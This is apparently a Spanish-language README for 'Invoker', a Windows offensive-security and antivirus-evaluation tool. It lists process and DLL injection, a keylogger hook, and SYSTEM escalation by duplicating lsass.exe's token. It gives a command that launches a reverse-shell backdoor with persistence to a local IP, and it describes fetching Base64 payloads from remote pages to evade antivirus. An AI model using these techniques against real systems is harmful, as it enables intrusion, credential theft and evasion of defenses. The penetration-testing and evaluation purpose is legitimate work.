Invoker

Utilidad de pruebas de penetración y herramienta de evaluación antivirus.

Construido con Visual Studio Community 2022 v17.5.4 (64 bits) y probado en Windows 10 Enterprise OS (64 bits).

Hecho con fines educativos. ¡Espero que sea de ayuda!

Este repositorio comenzó a tener firmas conocidas y no tengo tiempo para subir nuevos ejecutables cada vez, por lo que deberías compilar este proyecto tú mismo.

Sitios web útiles:

• elastic.co
• learn.microsoft.com
• processhacker.sourceforge.io
• undocumented.ntinternals.net
• pinvoke.net

Por hacer:

• hacer que el proceso ghosting sea compatible con arquitectura x86 porque NtCreateProcessEx no funciona bien con procesos de 32 bits.

Planes futuros:

• hollowing de procesos,
• doppelgänging de procesos,
• herpaderping de procesos,
• ghosting de procesos,
• más invocaciones de proxy de DLL,
• secuestro de COM,
• script de Python3 para ofuscar estáticamente todo el código fuente.

Cosas que tengo en cuenta al codificar:

• simplificar todo,
• usar asignaciones dinámicas en lugar de asignaciones estáticas, (a veces)
• usar los derechos de acceso y banderas de control mínimos requeridos,
• manejar/capturar posibles errores/excepciones,
• poner a cero y liberar arreglos y memoria después de su uso,
• cerrar adecuadamente los identificadores/flujos abiertos después de su uso,
• decrementar el recuento de referencias de bibliotecas, objetos y similares después de su uso,
• llamar al recolector de basura antes de salir. (no aplica)

Todo lo anterior resultará en que tu PE tenga un tamaño más pequeño y una menor tasa de detección.

Table of Contents

• Invoker Library
• How to Run
• Bytecode Injection
• Generate a Reverse Shell Payload
• PowerShell
• Direct System Calls
• Make a DLL With a Hook Procedure
• Get the LocalSystem Account (NT AUTHORITY\SYSTEM)
• Images

Invoker Library

Características:

• invocar los shells del sistema,
• hacer llamadas directas al sistema,
• usar Instrumentación de Administración de Windows (WMI),
• conectarse a un host remoto,
• terminar un proceso en ejecución,
• ejecutar un nuevo proceso,
• volcar la memoria de un proceso,
• alterar la imagen ejecutable de un proceso,
• inyectar bytecode en un proceso,
• inyectar DLL en un proceso,
• listar las DLL cargadas de un proceso,
• invocar el secuestro de DLL,
• instalar un procedimiento de hook,
• habilitar privilegios de token de acceso,
• duplicar el token de acceso de un proceso y ejecutar un nuevo proceso,
• descargar un archivo,
• agregar/editar una clave de registro,
• programar una tarea,
• listar rutas de servicio sin comillas e iniciar, detener o reiniciar un servicio,
• reemplazar múltiples archivos de System32.

Revisa la biblioteca Invoker aquí. ¡Siéntete libre de usarlo!

Algunas funciones pueden requerir privilegios administrativos.

Algunas funciones pueden no funcionar en Windows XP y versiones anteriores debido a algunos derechos de acceso y banderas de control específicos utilizados.

How to Run

Ejecuta Invoker_x86.exe (32 bits) o Invoker_x64.exe (64 bits).

Para automatizar la backdoor de shell inversa mientras se añade persistencia, ejecuta el siguiente comando:

Invoker_x64.exe 192.168.8.5:9000

Invoker de 32 bits puede:

• hacer llamadas directas al sistema,
• volcar la memoria de un proceso de 32 bits,
• alterar e inyectar la imagen ejecutable de un proceso de 32 bits en un proceso de 32 bits,
• alterar e inyectar la imagen ejecutable de un proceso de 64 bits en un proceso de 64 bits,
• inyectar bytecode de 32 bits en un proceso de 32 bits,
• inyectar DLL de 32 bits en un proceso de 32 bits,
• listar las DLL cargadas de un proceso de 32 bits,
• instalar un procedimiento de hook desde una DLL de 32 bits.

Invoker de 64 bits puede:

• hacer llamadas directas al sistema,
• volcar la memoria de un proceso de 32 bits,
• volcar la memoria de un proceso de 64 bits,
• alterar e inyectar la imagen ejecutable de un proceso de 32 bits en un proceso de 32 bits,
• alterar e inyectar la imagen ejecutable de un proceso de 64 bits en un proceso de 64 bits,
• inyectar bytecode de 32 bits en un proceso de 32 bits,
• inyectar bytecode de 64 bits en un proceso de 64 bits,
• inyectar DLL de 32 bits en un proceso de 32 bits,
• inyectar DLL de 64 bits en un proceso de 64 bits,
• listar las DLL cargadas de un proceso de 32 bits,
• listar las DLL cargadas de un proceso de 64 bits.
• instalar un procedimiento de hook desde una DLL de 32 bits,
• instalar un procedimiento de hook desde una DLL de 64 bits.

Ten en cuenta que cada técnica de inyección tiene tanto pros como contras; por ejemplo, algunas técnicas requieren menos derechos de acceso, utilizan métodos menos sospechosos, etc., pero pueden, por ejemplo, bloquear el proceso, necesitar algo de tiempo y otras condiciones especiales para ejecutar el payload, etc.

Ten en cuenta que algunos implants C2C podrían no funcionar después de liberar la memoria. En ese caso, comenta métodos como VirtualFreeEx, NtFreeVirtualMemory, etc.

Bytecode Injection

Eleva privilegios inyectando bytecode en un proceso de mayores privilegios.

Esta herramienta puede descargar el contenido de un archivo binario en la memoria e inyectarlo en un proceso en ejecución. También puede analizar una respuesta HTTP y extraer el payload de un elemento personalizado, por ejemplo, de <invoker>payload</invoker> donde payload es un código binario codificado en Base64.

Revisa el ejemplo en pastebin.com/raw/xf9Trt0d.

Esto es útil si el antivirus está constantemente eliminando tus payloads locales.

Revisa un ejemplo adicional en pastebin.com/raw/iW17rCxH - payload oculto en el elemento de imagen.

P.D. Los bytecodes proporcionados seguramente no funcionarán para ti.

Usa ngrok para darle a tu servidor web local una dirección pública.

Para ver si un proceso es de 32 bits o 64 bits, abre el Administrador de tareas -> haz clic en Más detalles -> ve a la pestaña Detalles -> haz clic derecho en cualquier columna -> haz clic en Seleccionar columnas -> marca la casilla Plataforma.

Para ver si un proceso se ejecuta con privilegios administrativos, marca la casilla Elevado.

Generate a Reverse Shell Payload

Descubre cómo generar un payload de shell inversa desde mi otro proyecto, así como cómo configurar los oyentes Ncat y multi/handler.

La inyección de bytecode puede fallar porque el bytecode puede tener caracteres incorrectos, función de salida incorrecta o codificación; la inyección de DLL es más fiable.

PowerShell

Si deseas ejecutar una shell inversa o bind de PowerShell desde el Invoker, abre el Invoker e inicia una sesión de PowerShell, luego ejecuta cualquiera de los one-liners (de mi otro proyecto).

Direct System Calls

La biblioteca y el ensamblado de llamadas directas al sistema se generaron con SysWhispers2. ¡Créditos al autor!

Para generar la misma biblioteca y ensamblado, ejecuta el siguiente comando desde tu consola preferida:

python3 syswhispers.py -f NtOpenProcess,NtClose,NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtFreeVirtualMemory,NtCreateThreadEx,NtTerminateProcess -a all -o syscalls

Revisa mi envoltorio alrededor de la biblioteca y el ensamblado aquí. ¡Siéntete libre de usarlo!

Make a DLL With a Hook Procedure

Revisa la DLL simple con un procedimiento de hook aquí. El procedimiento de hook invocará un cuadro de mensaje en cada cierre de ventana.

Revisa el procedimiento de hook de teclado (es decir, keylogger) aquí.

Revisa el procedimiento de hook de ratón que ejecutará un nuevo proceso en el primer clic del ratón aquí.

No olvides eliminar todos los artefactos creados después de terminar las pruebas, por ejemplo, eliminar keylogger.log, etc.

Get the LocalSystem Account (NT AUTHORITY\SYSTEM)

Sigue estos sencillos pasos:

1. Ejecuta el Invoker como administrador.

2. Habilita todos los privilegios del token de acceso.

3. Duplica el token de acceso de, por ejemplo, el Servicio de Subsystem de Autoridad de Seguridad Local (lsass.exe) y ejecuta una nueva instancia del Invoker.

4. Dentro de la nueva instancia del Invoker, abre el Símbolo del sistema y ejecuta whoami, ahora deberías ver nt authority\system.

5. Habilita todos los privilegios del token de acceso una vez más.

6. Cierra la instancia anterior del Invoker.

Images

Figura 1 - Invoker

Figura 2 - Inyección de bytecode

Figura 3 - Privilegios elevados